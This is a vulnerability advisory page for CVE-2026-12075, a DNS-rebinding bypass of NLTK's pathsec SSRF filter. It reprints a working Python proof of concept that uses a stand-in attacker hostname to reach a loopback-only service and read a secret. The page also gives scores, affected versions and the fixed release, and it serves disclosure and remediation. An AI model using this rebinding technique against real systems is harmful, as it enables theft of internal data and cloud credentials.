Back to the CVE list
CVE-2026-12075

Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

CVSS score

8.6

EPSS probability

—

Risk score

0.9

Published

2 mo ago

Official patch verified

Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.

Impact on My Inventory

Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.

Checking session…

Vulnerability description

DayBreach CVE AI Research

CVE-2026-12075 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fetching {evil}") try: body = fetch(evil) leaked = SECRET in body print(f" body returned to caller: {body!r}") if leaked: print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen") print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1") print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print("\n [?] fetch succeeded but secret marker not present") verdict = "INCONCLUSIVE" except PermissionError as e: # Patched build: validate against the connect-time IP (or pin/resolve-once). print(f"\n [SAFE] blocked -> PermissionError: {e}") verdict = "NOT VULNERABLE" finally: socket.getaddrinfo = _real_getaddrinfo print("\n" + "=" * 62) print(f" Control (direct loopback blocked): {control_ok}") print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 62) if __name__ == "__main__": main() ``` ### Impact - **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format="raw"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-12075 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1pypinltk View
2pypinltk View
Total affected vendors: 1|Products: 2

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
8.6CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch verified

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

osvnltk3.10.0

OSV düzeltilmiş sürüm: 3.10.0

Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Apply the official update named in the evidence only to the matching product and version.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-12075 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-12075 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsGerekmiyor
UserGerekmiyor

Official Sources and Advisories

CVSS Vector Radar Chart

8.6 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityNone

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone required
User InteractionNone required
Confidentiality (Gizlilik)Low
Integrity (Bütünlük)None
Availability (Erişilebilirlik)None

Yama doğrulandı

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

Follow the vendor

P
pypi logo
pypi

Weakness Type (CWE & CAPEC)

Similar Vulnerabilities

Get this vulnerability through the API

Affected products, version ranges, exploitation status and patch information in a single request, with a free key.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.enginteksut.com.tr/api/v1/intel/cves/CVE-2026-12075"